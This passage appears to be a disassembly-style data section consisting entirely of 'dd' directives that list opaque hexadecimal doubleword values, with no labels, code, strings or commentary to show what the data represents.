		dd 3B260DB8h, 8D3720CDh, 4D20CDDAh, 5D5F6EC0h, 5510C7F6h
		dd 78A15A5Bh, 12564592h, 4223B97Bh, 0DF98D18Ah,	1104022h
		dd 0F58C638Ah, 0A2208D24h, 0A6BACB8Bh, 0BECA2188h, 71E31D97h
		dd 3B12A358h, 750FD1CEh, 7BF8A60Dh, 9D0A081Bh, 5B048623h
		dd 639ABC5Ah, 610C745Fh, 675514Fh, 841D2B0Bh, 505EC20Ah
		dd 8B838320h, 31104B24h, 20200469h, 244DBDAAh, 1EB3621Fh
		dd 0FD16E610h, 0CA2B1740h, 90FFE483h, 3D2FCFFh,	75B01485h
		dd 0FEE8461Ch, 111E7D03h, 33FC048Dh, 3D0E9638h,	2362C01Ch
		dd 0F0F7F27Ch, 16FB9D90h, 0D525F5A5h, 4FDA520h,	0A24D5E4Fh
		dd 0B36330B0h, 69591F2Eh, 580AA455h, 4F371299h,	43B74397h
		dd 1C784E27h, 0BBE5394Eh, 17014094h, 4EF42B7h, 0E7058575h
		dd 75FBF994h, 4A94E90Dh, 0BA645BF8h, 7FC8FA59h,	0CF01615Fh
		dd 4C995EC3h, 669DC8B4h, 691490EDh, 9758A5Eh, 9289D0C8h
		dd 0F22B0511h, 9CE8B5Ah, 5E0285BCh, 7FD44321h, 599639C1h
		dd 0E14FF3Dh, 0DFC90F57h, 4DFC39A7h, 16E614B9h,	2C0CFC2Ch
		dd 0F882C121h, 74C13B40h, 50FFA0A1h, 0A2829DC8h, 136355DAh
		dd 0A2844E58h, 3695D908h, 0BEC13854h, 1348930h,	134A0624h
		dd 0A85EF575h, 32CF954Bh, 0E65F02ABh, 6A4A9DABh, 410D2682h
		dd 5519F911h, 429AB25h,	0B0294CCEh, 0BC5B5A5Bh,	0A9992478h
		dd 129A5527h, 0D7FCCF09h, 0D8520C45h, 0A4C45EFEh, 2BE6072Eh
		dd 0F8D6C5DAh, 23C80A55h, 23B1DBCEh, 3EBD0BE8h,	18B9206Eh
		dd 74142ECBh, 0ACB15B4Eh, 0DC75EE11h, 6AF49883h, 0F7B35B02h
		dd 0C15908A8h, 3B0AE679h, 0C20F7CDFh, 29DFBBFh,	0D010041Fh
		dd 67EB69DBh, 875DBD89h, 0E9574BE6h, 7FE079E2h,	189270E5h
		dd 208BC9FBh, 0A7F48EAh, 4F30D94Ch, 71A53756h, 0C9006F9h
		dd 300237F4h, 2510B40Ch, 8E77E381h, 55EBC9E1h, 0F02795F1h
		dd 0FB24C386h, 0F9F7C001h, 0E0754029h, 5B33F415h, 3A7D4EF6h
		dd 0F85F5292h, 2429DAEFh, 0F587DC12h, 28D55A5Bh, 0BD12BE3Ch
		dd 0B7881A54h, 771539FEh, 35892208h, 25956475h,	78F04301h
		dd 4F2BE680h, 0F1984BB0h, 803F0C52h, 0D83B3CEBh, 2B3F247Fh
		dd 36FB2554h, 0C1191821h, 0A415613h, 4B4E033Bh,	6708866Bh
		dd 9434CD24h, 6F9820B2h, 82F54FF9h, 0BB287C1Fh,	0C622D53h
		dd 278EC75Ah, 14778B13h, 37D2735Dh, 362CA210h, 3C253FF7h
		dd 7FA86580h, 0F3032A22h, 0D6EA9524h, 9E0CC14Ah, 10487F38h
		dd 5CD5C94h, 0C91BD9F7h, 30415E89h, 0D7CAF10Bh,	40FF4540h
		dd 2ED2ED90h, 0F5F83649h, 0C72080Eh, 20240A6Fh,	0FE057522h
		dd 8B6C9131h, 55C2F868h, 36D99C75h, 2CEB903Bh, 7AD81021h
		dd 0D1BF254Ch, 2ABF2E26h, 0D54AF90Dh, 20A2441Ah, 3C5AEF14h
		dd 0C9243F81h, 3DB12D4Bh, 0FD4E0A12h, 38B7DE47h, 7B4AD7h
		dd 0C6017E54h, 85301F06h, 53C7DEDBh, 6B0FEB1Fh,	56EA3233h
		dd 250EFBD5h, 8241A8BEh, 10885A30h, 835E0DFh, 6FE96B75h
		dd 503108DEh, 39DC127Ch, 9F0DEA35h, 13BDBEC3h, 0E22E8DFh
		dd 1FFEF5EBh, 18313E0Ch, 4423EFFh, 0BD571213h, 79279E43h
		dd 0FA5E4B41h, 0A2E5671h, 509D5705h, 597F5D3Eh,	68E83790h
		dd 0B513B84Fh, 0E1160C3h, 0A5FC8B41h, 3978662Eh, 0A3367349h
		dd 507C2FE0h, 6F058718h, 0D8EC15BAh, 0EBFB5F0Bh, 592E1FEDh
		dd 0EDC70BDCh, 0BC0D99E4h, 1C42B809h, 236E7D5Eh, 661E5899h
		dd 0BF064282h, 9075F0FFh, 0CF254C4Fh, 0F182C189h, 24CBCF23h
		dd 12E62E78h, 0D95AD098h, 258B71E8h, 0CFA0B556h, 2F54F0B7h
		dd 1A621374h, 4B92887h,	269CFD3Ch, 0EB4EE9BFh, 748C4421h
		dd 0B7D37412h, 0E47588EAh, 0C666F8Eh, 4E4BEB26h, 33C0145h
		dd 0AE658A4Ch, 0B088315h, 4376C88Bh, 0E2FC84B0h, 3F56AF7h
		dd 95CECB20h, 3B15663h,	0C1DAD0C9h, 0B1FEB00h, 120C8DD9h
		dd 8140A089h, 7BEAB5C7h, 0DFEBB360h, 0B31139Ah,	8489ACFh
		dd 2F98C2Eh, 7D8A1A95h,	64B394Ch, 1421E5E6h, 49A70E90h
		dd 0A142975Eh, 0A5EAA9E8h, 0A3BC142Bh, 945B888h, 160421B1h
		dd 9D5E33F4h, 1C68CA01h, 2262794Fh, 18A35010h, 0D035F8C3h
		dd 0C8DA120Fh, 6D9158D0h, 0D9DE264Dh, 0F674B259h, 1C8D3870h
		dd 3CE96090h, 18A7739Fh, 0D90A6A89h, 16B13B08h,	7F064C0Fh
		dd 0A303F0C2h, 0BAA2B1CDh, 565B5D04h, 0F84CA620h, 0B60F85D0h
		dd 4C244CABh, 51978424h, 1C750911h, 0CF949EF8h,	8C020E12h
		dd 0D0824504h, 3E236F03h, 12F9B3F2h, 0BF80175h,	1098E296h
		dd 42C9BFECh, 0ABD52385h, 0D24FEDF7h, 51F56781h, 60680926h
		dd 52BDBDD2h, 2AA350BAh, 68503974h, 50781152h, 52A3083Ch
		dd 0EE7DF8F0h, 0A10FCFF4h, 16396092h, 52B7D0FFh, 0A1F2C547h
		dd 51121F4h, 0BB124453h, 416D0D9h, 4E155122h, 13B4A37Fh
		dd 0FCECF8EBh, 0AF0F08C2h, 0FE03A1FCh, 258957E0h, 34DD7716h
		dd 9476977Dh, 7D587789h, 1A5B3D6Eh, 80050046h, 2E77121Dh
		dd 97CAEF50h, 164C7513h, 1A9BD20Dh, 91D4D15Dh, 0A3F8C312h
		dd 21228DFFh, 865413Fh,	0E156F92Eh, 0ED2E2475h,	5B1B88CBh
		dd 8BBA19DBh, 47D5D7CAh, 0A177A550h, 0ECEB5644h, 58F5B152h
		dd 94035056h, 0D1FBB75Eh, 2FF04410h, 0C4A340F6h, 95900DB2h
		dd 0D8BE3BAAh, 0BC470A4Fh, 177C1405h, 34CA245Fh, 911519B0h
		dd 83590F0Dh, 0FE2DDC24h, 0FABCE5C8h, 85B85A73h, 4BE8E7AFh
		dd 40F12AAh, 0FB1D3B03h, 841507CCh, 0E10ADB9Dh,	0E6C844F6h
		dd 0F911D37Ch, 0DB7F175Ah
		dd 5F08278Eh, 0FC901364h, 2AB21887h, 0EE7A2BD6h, 7EFC2B54h
		dd 31C86F4Bh, 0F0C1F58Dh, 0D6D5ED2Fh, 4E124AAh,	0EE784D33h
		dd 980CA722h, 28F83B93h, 52A4027Dh, 5F772A50h, 0F26FAC53h
		dd 184AA108h, 54F6D7EBh, 750541FDh, 0DAA22E0Ah,	0C478C5D2h
		dd 0AB4E252Fh, 7D40EF04h, 1143CBACh, 6019241h, 0BF75AA30h
		dd 422337Ch, 1A23509Dh,	8F61BDEh, 2943E3D5h, 49451548h
		dd 0E4A5CD51h, 83E81ADh, 0E050D04Bh, 0DEB275Fh,	1227C04Dh
		dd 2FC9FC40h, 0C065D954h, 3B3219C0h, 0E8727ECAh, 58735ACEh
		dd 5E1033FDh, 0DE0A892Fh, 0BD7CE597h, 2D373986h, 0A4103A36h
		dd 0ECBF17BFh, 0FF5462ADh, 7E149630h, 8462803h,	0E977EE17h
		dd 0E2DC184Ah, 984E0EEFh, 0BCCF56D6h, 3CFC1330h, 0F603CE0Bh
		dd 34D68257h, 0C1C6E23Fh, 0FDFAF1A6h, 0F3D77107h, 0EAEB0470h
		dd 7EE1D1E9h, 2E1CC68Dh, 0B236DF50h, 617FF25Eh,	3A83E66Ch
		dd 89CE0BE9h, 37081D3Eh, 0EAE519E7h, 0DC56C9C6h, 5EADFF40h
		dd 0C2E999FEh, 6C84D5D8h, 9C2BF33h, 20D27856h, 8939404Eh
		dd 4531813h, 25760806h,	0C57E5751h, 7D8DF381h, 0FCC7A5F0h
		dd 7743E6A4h, 7706AA80h, 940A3BA8h, 52931022h, 4F98AB42h
		dd 80BE6D0Fh, 5B210A3Ch, 3CC81AFAh, 752C407Fh, 5FC8C6B6h
		dd 28F0AC39h, 5864D2B7h, 100A4CC1h, 13A84389h, 0EE98F003h
		dd 0ED5F43BFh, 0A294D213h, 0FFD1811Fh, 3FE7330h, 0BE4ED3EBh
		dd 29F310C9h, 32661064h, 0F92AFF3Dh, 0E266B738h, 805C5EB7h
		dd 0E412B40Ah, 0FF23BF5Ch, 0A4EE2D10h, 0DCC04F89h, 71955AC0h
		dd 0F9E8120Ch, 908B414Fh, 0E020DC06h, 81D0D440h, 7F802E4h
		dd 2A5EFDECh, 672087F4h, 54090B74h, 20FD1C0Ah, 290D5C05h
		dd 0E7EB4700h, 8A5E046Ah, 26B1F58h, 870F0BF8h, 825F5677h
		dd 59438524h, 0FB803460h, 0C7C3118h, 587F390Ah,	0DE5CB107h
		dd 653A471Ch, 1E6C797Eh, 724F8405h, 2B815DA8h, 0C7481E74h
		dd 44770EA2h, 79D46CC1h, 0D52F4535h, 0D837E16Ah, 2558CE48h
		dd 67D6A7EBh, 681220B6h, 6A29F9Eh, 0A5057CF0h, 4BAE7E29h
		dd 613DD2Dh, 318A2266h,	402D750Ah, 52F4302Ch, 140F4380h
		dd 1802898Eh, 127E4508h, 7B1C6319h, 8FF2650Ch, 6A137262h
		dd 4F7EA706h, 8500B85h,	0B20988A6h, 0B5D0564Ch,	596D588Ch
		dd 94019D19h, 8B0101B5h, 44558CC2h, 3239FDF9h, 7E3F8415h
		dd 0B450957h, 0EA4D7CC8h, 0EB5A0442h, 648FBB0Eh, 41C1FD5Eh
		dd 0D5C02FD6h, 82107319h, 80DEE857h, 0C306FEBh,	213BA33h
		dd 2A5508A9h, 0B27B7FDh, 2245672Ch, 365BDC5Bh, 0DC1B06BFh
		dd 0ACEF0D75h, 284A01D4h, 107571F3h, 0D311C81Ch, 47E88B68h
		dd 2350B912h, 990A21D4h, 1601122Dh, 834529EFh, 2AED345Eh
		dd 0C9AAD761h, 0A3012FE8h, 0FE4F8D57h, 0A3488C22h, 44248C56h
		dd 2131EEC8h, 120B964h,	0EB086A0Ch, 0A4E0B265h,	830552CDh
		dd 0F67F630h, 0AF91F28Ch, 8F316CA8h, 0AEB13E9h,	0E7C298Ch
		dd 9397F21h, 4F58126Ah,	311D0A34h, 54C1EB8Bh, 2A748D94h
		dd 0FFDA9BB5h, 6BDB7EBBh, 0C45DC014h, 0FD834A4Ah, 58071548h
		dd 1E08472Fh, 80664F0Ah, 95A5D03Ah, 0D2634695h,	11DF5824h
		dd 53971A48h, 0F633099Ch, 641F1D7Dh, 8088FB1Ch,	0BE6E7B6h
		dd 1451065Fh, 0C37F537Ah, 51B5BE38h, 5E10AA19h,	3844EA4Ah
		dd 0B04F5FD0h, 2B95F936h, 7E190C84h, 0D9A4A138h, 58186A10h
		dd 0A83948h, 7D801576h,	3D7C05BBh, 9FF6FE03h, 0F4267C64h
		dd 0EB9F2148h, 128813F4h, 0A586350Fh, 0C288A155h, 0CBD0E655h
		dd 0E47DF237h, 0C6A44B5Dh, 0E598F12Fh, 0E456DB61h, 953BC933h
		dd 7D150FB5h, 3D8F7E3h,	0E0144865h, 40109586h, 2B81DC18h
		dd 0A43D1CE0h, 307E2DC2h, 0DF041AD7h, 4AD7E4A9h, 0C9EED0FAh
		dd 6500D4C8h, 0B8DB3360h, 12AD11B6h, 0D473C233h, 98E4275Ch
		dd 0B03D5E1Dh, 0C456F22Fh, 2701D020h, 0EA2AE48Dh, 0C302E463h
		dd 0C87A790Eh, 0C610C292h, 0EBFBCA31h, 0E172A5B5h, 96BDF640h
		dd 320AAB2Bh, 15110493h, 2922B22Bh, 8768170Fh, 0B084D61h
		dd 1C5FE360h, 0CB067189h, 9A830259h, 922E0A41h,	1197A2ECh
		dd 550CA144h, 91219BEh,	22DC12B2h, 0AE045637h, 2E88E448h
		dd 220D1157h, 487C4492h, 0C538D68Ah, 0DEF4E545h, 54BEC802h
		dd 0E6E44BC8h, 660EB890h, 0B257C985h, 8CC230Ch,	12E689E5h
		dd 48E824E7h, 22EA91E9h, 0EDEC44EBh, 80FBEE88h,	7BB53FEFh
		dd 0BFD092F0h, 243EE00h, 0D204EB2Dh, 0CC8A00Dh,	75D298C2h
		dd 4EB3781Eh, 0E5E6E11Ah, 2383F815h, 81946E1h, 26010320h
		dd 846D3004h, 0E866FD4Bh, 0E97A2F25h, 0C7E880B2h, 0F8F38303h
		dd 0C75CF8F4h, 2BFCF70Fh, 2DFBB840h, 0BA028468h, 97A146EBh
		dd 3B811574h, 1DE10657h, 2E612207h, 1A437C68h, 2367210Fh
		dd 681D0C3Bh, 0D78D2374h, 6400E6B4h, 19BC05D1h,	0D60A6990h
		dd 0F11D6C68h, 0E1813006h, 94B70F24h, 22C0CF12h, 2D6918E9h
		dd 550F10C0h, 6608EE22h, 49859D7h, 804E0C8Dh, 6BFA555Eh
		dd 1F4DC93Bh, 0B44FF67Dh, 0BCEDE401h, 0C11246FDh, 4CEA8FEh
		dd 0C6BF0FF2h, 0E1FE3AC4h, 50DD59BCh, 7D8166D1h, 3FFFFA09h
		dd 0E4216072h, 1C19AC46h, 5359EE4Dh, 1570CF6h, 745C3390h
		dd 147D1967h, 7C3C036Dh, 91087F15h, 23EA4919h, 7A15F183h
		dd 5FD1F7B1h, 0FA758641h, 3FADC27Eh, 0DEEAFB0Dh, 81C08AEh
		dd 438946A1h, 1CCA8080h, 97F17559h, 0F717FC80h,	0E64881DEh
		dd 0D7E8504h, 4EAE1D61h, 0AF33696h, 0A8DA01F3h,	1C9A8022h
		dd 0FA50587Eh, 759C143Eh, 1C12E4F0h, 0ED2568A5h, 33A45038h
		dd 62CD0809h, 16B9220Dh, 8BFBE48Ah, 53FFCAD2h, 444C228h
		dd 7F90A50h, 75018880h,	3685B5B6h, 2E62878Ah, 35F98060h
		dd 4014B8Dh, 0C13B307Ch, 482A0F72h, 488406E6h, 42EAF1EBh
		dd 0FF66404Dh, 2A808EC3h, 88EC2CC3h, 8B05490h, 6480C005h
		dd 0CAAE0418h, 0C6164FBh, 177C3009h, 0D95BF499h, 82DC0436h
		dd 5638030h, 5B857257h,	0CB67EED3h, 32D8C776h, 46095974h
		dd 41E16977h, 3CF20303h, 0F2A0A84h, 2E18ED06h, 50AFF36Fh
		dd 8B162F5Ah, 95C20435h, 0EB0583B8h, 841A7034h,	812708E1h
		dd 10D60908h, 8791571Ah, 708B3306h, 41CEFF70h, 38880BEFh
		dd 5A0BFFCh, 1FE8313h, 9A9A38F9h, 7DF7BED8h, 18538FA8h
		dd 95F93B50h, 0B10F774h, 1B49BE97h, 4580D61Dh, 34061C25h
		dd 3AC2AF36h, 0A5A97515h, 8C64C0D4h, 8260B52h, 0D001377h
		dd 0C0A12839h, 0C4D6602Bh, 41F90DD3h, 8D1E7D02h, 32764014h
		dd 5095983Ah, 0C0228325h, 490CC206h, 78BFF775h,	4B205085h
		dd 0FB659D0Eh, 0E84D612h, 0DE7783E8h, 1878A9EFh, 89080A13h
		dd 2F7F7BAAh, 29A36AE9h, 5B48AF20h, 0FBA64E56h,	16714CC8h
		dd 3905830Ah, 0F4902750h, 1468FC5Bh, 2FFD5127h,	730BBFE7h
		dd 0CE39735Ah, 8A0D54A8h, 0D32B084Ch, 0CBCF3E9Dh, 256D2744h
		dd 0A768E009h, 8005751Fh, 0DEB7FE1h, 16D67C81h,	0DFD95FAEh
		dd 0ADC9DC11h, 0A8818E8h, 76256638h, 3C5034Ah, 0EBB13CECh
		dd 0B4EF6D0Ah, 24254CF3h, 667E6CEEh, 8B0A4B28h,	0EC1604B4h
		dd 0CBE4419Ch, 0DA824626h, 92E4BAF9h, 23F8330Eh, 81CA42C2h
		dd 667E83E7h, 4624503Dh, 1D6B9201h, 0F5B8830Fh,	32BAAC21h
		dd 18AD167Fh, 0BF7BFDFAh, 3DA28723h, 0A9773F17h, 303A2E60h
		dd 28AEC3Ah, 528BB77Fh,	565AFB58h, 392CE318h, 750F9046h
		dd 0B7067B0Bh, 0E84F7A68h
		dd 4AAA20D2h, 101F1EF7h, 39160C53h, 0EA113A43h,	0BF5DB803h
		dd 4FBBA9D1h, 950F445h,	98456AB2h, 0C1A816Fh, 128B1305h
		dd 0BEC00320h, 497E9281h, 12C2EA44h, 0E0135D08h, 0AF4D64F7h
		dd 189B64A8h, 1CC6124Eh, 31097606h, 0FC18C1AFh,	5198D783h
		dd 315EFF50h, 0B2068638h, 1A4B9D19h, 1D02563Ah,	662CF46Dh
		dd 0C875E806h, 12FC6D1Ah, 0C1894B0h, 9C7F0A59h,	20B9281h
		dd 0C80B92C0h, 0B8257ED5h, 80E72841h, 3E5CB7C5h, 8A3312Dh
		dd 7F1E110Dh, 390748E2h, 0E8B16A6h, 68E32B9Ah, 1921E50h
		dd 0B98B0ACEh, 74E1DC7Ch, 0EC2B4468h, 4BAE0B41h, 4EEA3086h
		dd 0F8C9EC5Fh, 0BAB738ACh, 3477F2F0h, 0B83E8B0Fh, 3DE07FFDh
		dd 750A1AD8h, 0DE42CB35h, 8C2CB9D4h, 0E9AA513Bh, 1D1490E2h
		dd 579AE176h, 418A46E6h, 0EC8BD31h, 1052D27Bh, 106ECAB1h
		dd 0E2EAF4DBh, 0DE35A7D2h, 0A745338Bh, 5BE81B73h, 0C70B2E7Dh
		dd 100E1AF6h, 24E3B83h,	6AE40C20h, 18D91E06h, 0DFF736EBh
		dd 0D2B5FFE8h, 0EBD7A28Eh, 62C7B3F4h, 26836408h, 87E44C0h
		dd 0C0EE79BDh, 0D828BB53h, 0ECFFEE9Ah, 394860EBh, 63740B16h
		dd 0BB45E87Dh, 28D96B88h, 55F5AF55h, 84102E17h,	0CEFF7120h
		dd 56412281h, 0C3831057h, 0A404B554h, 7CBC203h,	279802F7h
		dd 819AE98Dh, 0C2A63D71h, 85DC3A14h, 0F47D1A7Eh, 648402A5h
		dd 5E61ECF6h, 9FD95695h, 0E47FC8B7h, 92E2BFC3h,	6E91BFD6h
		dd 1E31F18Bh, 0B230525h, 1674FA4Eh, 0CE8BFC91h,	0C9121AB8h
		dd 0C2E8F0B3h, 56696990h, 4E27404Ch, 6C7120Ch, 0D5BC490h
		dd 2F407719h, 5E55F3F4h, 4E9BE864h, 0B8097CADh,	62D27688h
		dd 50DD50D8h, 687E95BAh, 74F8D28h, 515F0688h, 7404459h
		dd 0A36AE2B8h, 40221C3Bh, 0BC16751h, 0DD56A7F0h, 95C70741h
		dd 0A53AC12h, 0ACDD5402h, 85DD44ADh, 51020468h,	1C68D6B0h
		dd 8DAFA045h, 0C968106Ch, 51426A9Dh, 0C71E1D68h, 0D59130E8h
		dd 0F4B8BA05h, 6C0C7565h, 1BF3EA30h, 37B06850h,	22AD84CCh
		dd 6EA790A7h, 2039CF45h, 19FE08C4h, 3B801068h, 3F64F645h
		dd 20875524h, 0FFF5C127h, 54EBA754h, 7F72324h, 0E2D2FAC8h
		dd 0E8376B06h, 18B8F0CCh, 1A9448AEh, 906CF167h,	5184A4F0h
		dd 0C7D03E1Ah, 4257570Ch, 0F1D5FC9h, 7C775208h,	0F295CC42h
		dd 18242BD0h, 82115A56h, 27520A2Ah, 8D6D888h, 0B868D051h
		dd 233AEBE8h, 8D2E2ACCh, 0D3C23F5Ch, 0CA5183CCh, 8A1BE47Ah
		dd 0BE3DF868h, 1ED164C9h, 0B868DEA0h, 6882E18Dh, 0FF061B10h
		dd 20721025h, 71A40CC5h, 3C4CE9A3h, 0C750A0Bh, 707F189Ah
		dd 768398FBh, 0CF7EE105h, 895316F0h, 10C43921h,	0EE90346Ah
		dd 0B54D18E0h, 0B742F22h, 72959F50h, 6A589559h,	6317036Bh
		dd 0F5BFF48Eh, 2A0EBFC1h, 831F09DAh, 0F00009FBh, 0C3800576h
		dd 0A42D857h, 19038830h, 77F68541h, 8021FBDAh, 0E4178A49h
		dd 0E411FE01h, 0B47F207h, 0F272F93Bh, 76F95B2Bh, 3C755341h
		dd 0D77FFC3Ah, 7819FB0Eh, 62775A86h, 72410D09h,	20C3B4C0h
		dd 870224CBh, 250D5A3Fh, 22C241D9h, 0D15720C0h,	74DB079Bh
		dd 0D83B5337h, 30EBCEA8h, 5526129Dh, 58C31B7Ah,	95504606h
		dd 0E3C1F122h, 71A1FE4h, 34437947h, 40B15F59h, 0CDC3003h
		dd 0C8B70FF2h, 2B12C306h, 0D9AB5BC1h, 2A1ED575h, 0A34BCFB7h
		dd 3BD14E74h, 0DD3A560Bh, 0B1347A2Fh, 2BEC1982h, 76241D6h
		dd 3B595D51h, 54C24AA4h, 1C211D90h, 1C21F426h, 3D19FF7Ah
		dd 0F4FB20F1h, 0A537FF88h, 0A5C9057Eh, 0C789BF59h, 420A8103h
		dd 0C78B822Eh, 48644D0Bh, 0A93D80D0h, 5C96866Fh, 74276E9Ah
		dd 17DA4225h, 31131A48h, 6EB4930h, 31745EDFh, 79834A30h
		dd 80F19A08h, 15097446h, 0A20471FFh, 0EFF4C38Bh, 0FC62A52Ch
		dd 457F297Ch, 80571617h, 7D10BE02h, 0E0E8549Ah,	0B2A5F325h
		dd 0C12477E1h, 0CE32BAF4h, 0BEE004E4h, 0B8A554CDh, 51C619DDh
		dd 32DAFB28h, 0C00B7A81h, 648A2BC9h, 64CA1124h,	4CD68C52h
		dd 34DBD092h, 73018016h, 21579514h, 6F58026Ch, 679217Eh
		dd 347BB366h, 0E2FA846Ah, 0B10C6FBFh, 3E1AE15Fh, 5684C8F3h
		dd 201C0836h, 4743229h,	145DFE0Dh, 0E77D5B42h, 39F6E08Eh
		dd 0C0102135h, 9085F13Fh, 565784BFh, 9ED1068h, 8ED948ADh
		dd 0C461579Eh, 0D4103389h, 23347572h, 213E3F58h, 0F80110C0h
		dd 58208C44h, 3A01EB2Dh, 1E751201h, 1202E8DAh, 5B36DD31h
		dd 0C657E995h, 5B0AFE91h, 2ABB8E85h, 0EBE40984h, 0E44B740Ch
		dd 4A5FB9F6h, 0EFAEEB86h, 905DAC2Bh, 0E8E03F51h, 845C571Ch
		dd 24B653D3h, 0B234F8D6h, 4B84F58Bh, 0A2B0AED4h, 33F1B795h
		dd 0FB4976CBh, 8EF6789Ch, 74DE73C0h, 0A5535760h, 29F64B56h
		dd 12DFD9ADh, 2C81ED1Ch, 502FCCC6h, 9AAC9F0Dh, 0F99F1857h
		dd 0F2245B8h, 4EA1CBDh,	69DB2D95h, 39BE92B5h, 1498043Ch
		dd 6662F795h, 17DF02EBh, 73DBADF5h, 0A4BA0FC4h,	0C3B709E8h
		dd 5DBE9D74h, 9D0FA875h, 8B2B1A61h, 7CF8D145h, 0F051C478h
		dd 748008CAh, 4908A234h, 25711090h, 0D132B3Ch, 0D388AE7Ch
		dd 23EB2641h, 5EFC478Ch, 21AED311h, 6BC15817h, 8696F7E8h
		dd 3CD8E95Ch, 0D70C4D66h, 112BA08h, 8F488B28h, 6A14A1E2h
		dd 0FE04D526h, 0CD3ABEC7h, 4A705788h, 144D8C01h, 0BC17C96Ah
		dd 5A18F964h, 1D217443h, 5A187D08h, 9034E8Dh, 230D272Eh
		dd 7FFB2D18h, 0F678662Dh, 7166997Dh, 0FA8444D4h, 0F75B778Bh
		dd 6DD4C8F5h, 4BD6BD82h, 0A42E89FAh, 52BE55CAh,	0C322E469h
		dd 2556787h, 236448Dh, 0EBC25965h, 9E3CF50Bh, 558184BDh
		dd 97C734C8h, 0C0BFB5ECh, 733C8D4Dh, 1F342409h,	180E12B7h
		dd 0FE4E0ABEh, 464D0CD2h, 8B2FEBD8h, 64384DC7h,	74467E34h
		dd 3E5D1019h, 75122792h, 7AC6CF31h, 913E1726h, 0C4CCF147h
		dd 50BD4D8Dh, 6CA381F1h, 9483479Ch, 889B301h, 16A276D1h
		dd 0D0B8C309h, 165107Eh, 0CCFB28C2h, 6414432Ch,	0B833E410h
		dd 1DBB7F82h, 0CB330E2h, 90EC782Dh, 0AC90B80Dh,	0E060C812h
		dd 0BC8028C2h, 124C5224h, 70C4F088h, 0D0361C29h, 1563885h
		dd 0D8BAh, 0
		dd 587501A5h, 7003096h,	0E612C77h, 751BAEEh, 0C4199909h
		dd 0F48FD06Dh, 3500706Ah, 0A3E963A5h, 9E6495h, 0EDB8832h
		dd 79DCB8A4h, 0D53D1E7Eh, 0D2D980E0h, 0B64C2B97h, 7CBD0009h
		dd 2D077EB1h, 9101E7B8h, 6490BF1Dh, 0F2D8B710h,	6AB00020h
		dd 0F3B97148h, 0BE0041DEh, 0DAD47D84h, 0FE4EB1Ah, 0B5516DDDh
		dd 85C7F420h, 560083D3h, 0C0136C98h, 646BA8h, 0FD62F97Ah
		dd 8A65C9ECh, 15C4F00h,	66CD914h, 3DE263h, 0DF5FA0Fh, 20C88D08h
		dd 5E3B6E00h, 0E44C6910h, 0D5600141h, 0A2677172h, 3C03E4D1h
		dd 4D44700h, 0D85FD4Bh,	0B56B03D2h, 0A8FAA50Ah,	986C35A8h
		dd 0D642B200h, 40DBBBC9h, 0ACBC1FF9h, 32D840E3h, 45DF5C75h
		dd 0D60DCF00h, 0D13D59DCh, 30AC07ABh, 13A26D9h,	0C88051DEh
		dd 1600C8D7h, 0B5BFD061h, 21B4F4h, 56B3C423h, 0CFBA9599h
		dd 0BDA50F07h, 2209EB8h, 880828h, 0D9B25F05h, 0E924C60Ch
		dd 87B10B00h, 112F6F7Ch, 5868004Ch, 0C1611DABh,	66002D3Dh
		dd 0DC4190B6h, 710676h,	20BC01DBh, 102A98D2h, 89EFD507h
		dd 1FE0B185h, 6B6B5h, 9FBFE4A5h, 0E8B8D433h, 7C9A203h
		dd 80F93478h, 0A88E0Fh,	98189609h, 0DBBE10Eh, 2D7F6A00h
		dd 97086D3Dh, 9164006Ch, 0E6635C01h, 6B7151F4h,	8161623Eh
		dd 6530D81Ch, 0D0C34E85h, 7D95EDF2h, 0A57B0006h, 0F4C11B01h
		dd 57008208h, 0C6F50FC4h, 65B0D9h, 12B7E950h, 8BBEB8EAh
		dd 0B9887C00h, 0DD1DDFFCh, 2D490762h, 0D0F315DAh, 4C658CD3h
		dd 58FBD401h, 0CE4DB261h, 703A2D20h, 0A3BC0074h, 0D4BB30E2h
		dd 0DF06A541h, 0D895D74Ah, 0D1C400C4h, 0D6F4FBA4h, 0E9006AD3h
		dd 0D9FC4369h, 46346Eh,	0D0AD6788h, 73DA60B8h, 44042D00h
		dd 33031DE5h, 0A4C005Fh, 0D7CC9AAh, 711E3CDDh, 41435005h
		dd 88102702h, 86BE0Bh, 25C90C20h, 0B35768B5h, 6F853Dh
		dd 0B966D409h, 61E49Fh,	0DEF90ECEh, 0D9C9985Eh,	8022293Ah
		dd 0A8B4B0D0h, 717C7D7h, 8159B33Dh, 3B2EA00Dh, 0B700BD5Ch
		dd 0C0BA6CADh, 1B88320h, 0BFB3B6EDh, 0D9E20C9Ah, 0B1D2D403h
		dd 47397401h, 77AFEAD5h, 159DE4h, 8304DB26h, 1273DC16h
		dd 0E3630B00h, 94643B84h, 6D6A073Eh, 575AA80Dh,	0ECFF07Ah
		dd 0FF079DE4h, 0AE279309h, 9EB10A00h, 447D3D07h, 0D2F00F00h
		dd 688708A3h, 1E01F200h, 6906C2FEh, 6257005Dh, 6567CBF7h
		dd 360F7180h, 0E0E7196Ch, 1B766E6Bh, 0E0FE00D4h, 5A89D32Bh
		dd 1000DA7Ah, 67DD4ACCh, 71B9DF6Fh, 0BEEF0EF9h,	0B763438Eh
		dd 0B0B0D517h, 0A338E860h, 937E80D6h, 0C2C4A1D1h, 523800D8h
		dd 0F14FDFF2h, 0CCFBBB67h, 0A600BC57h, 3FB506DDh, 0B2364Bh
		dd 0D2BDA48h, 0A1B4CD8h, 4AF6AF0Fh, 7A60C003h, 76C34104h
		dd 55DF39EFh, 0C0A8671Dh, 79316E8Eh, 460069BEh,	0CB61B38Ch
		dd 66831Ah, 6FD2A0BCh, 68E23625h, 77955200h, 4703CC0Ch
		dd 0B9BB000Bh, 2F220216h, 55030526h, 0C5BA3BBEh, 0B2BDF828h
		dd 0B45A0092h, 0B36A042Bh, 0FF00A75Ch, 0CF31C2D7h, 8BB5D0h
		dd 1D2CD99Eh, 0B05BDEAEh, 9B0064FCh, 0EC63F226h, 6AA39Ch
		dd 6D930A75h, 906A902h,	36003FF6h, 6785EB0Eh, 70137207h
		dd 82050057h, 1495BF4Ah, 0E200B87Ah, 7BB12BAEh,	0B61B38h
		dd 0D28E9B0Ch, 0D5BE0D92h, 0EFB7E500h, 0DF217CDCh, 0D40B3FDBh
		dd 4286D387h, 0F8F160E2h, 6800DDB3h, 1FDA836Eh,	0BE16CDh
		dd 0B9265B81h, 0B077E1F6h, 47046F73h, 5AE618B7h, 6A707EC0h
		dd 0CAFF000Fh, 5C66063Bh, 1179010Bh, 8F659E00h,	0F862AE69h
		dd 4C6BF2D3h, 6C00C561h, 0AE27816h, 0D200EEA0h,	8354D70Dh
